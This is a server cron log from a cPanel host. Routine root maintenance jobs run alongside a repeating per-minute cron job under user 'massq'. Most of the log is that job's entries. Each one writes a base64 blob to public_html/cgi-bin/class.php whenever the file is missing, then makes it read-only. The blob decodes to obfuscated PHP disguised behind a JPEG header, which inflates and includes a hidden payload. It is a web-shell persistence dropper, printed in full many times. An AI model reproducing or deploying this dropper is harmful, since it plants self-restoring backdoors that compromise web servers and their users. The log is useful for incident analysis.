&quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 03:25:01 server CROND[5120]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 03:25:01 server CROND[5121]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 03:26:01 server CROND[5991]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 03:27:01 server CROND[6812]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &amp;&gt; /dev/null &amp;&amp; /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/nightly_gzip)
Nov 12 03:27:01 server CROND[6813]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 12 03:27:01 server CROND[6814]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 03:28:01 server CROND[7566]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 03:29:01 server CROND[8436]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 03:30:01 server CROND[9531]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 12 03:30:01 server CROND[9536]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 03:30:01 server CROND[9532]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 03:30:01 server CROND[9537]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 03:31:01 server CROND[10425]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 03:32:01 server CROND[11288]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 03:33:01 server CROND[12110]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 03:34:01 server CROND[12922]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 03:35:01 server CROND[13828]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 03:35:01 server CROND[13830]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 03:35:01 server CROND[13832]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 12 03:35:01 server CROND[13831]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov 12 03:35:01 server CROND[13834]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 03:36:01 server CROND[14706]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 03:37:01 server CROND[15516]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
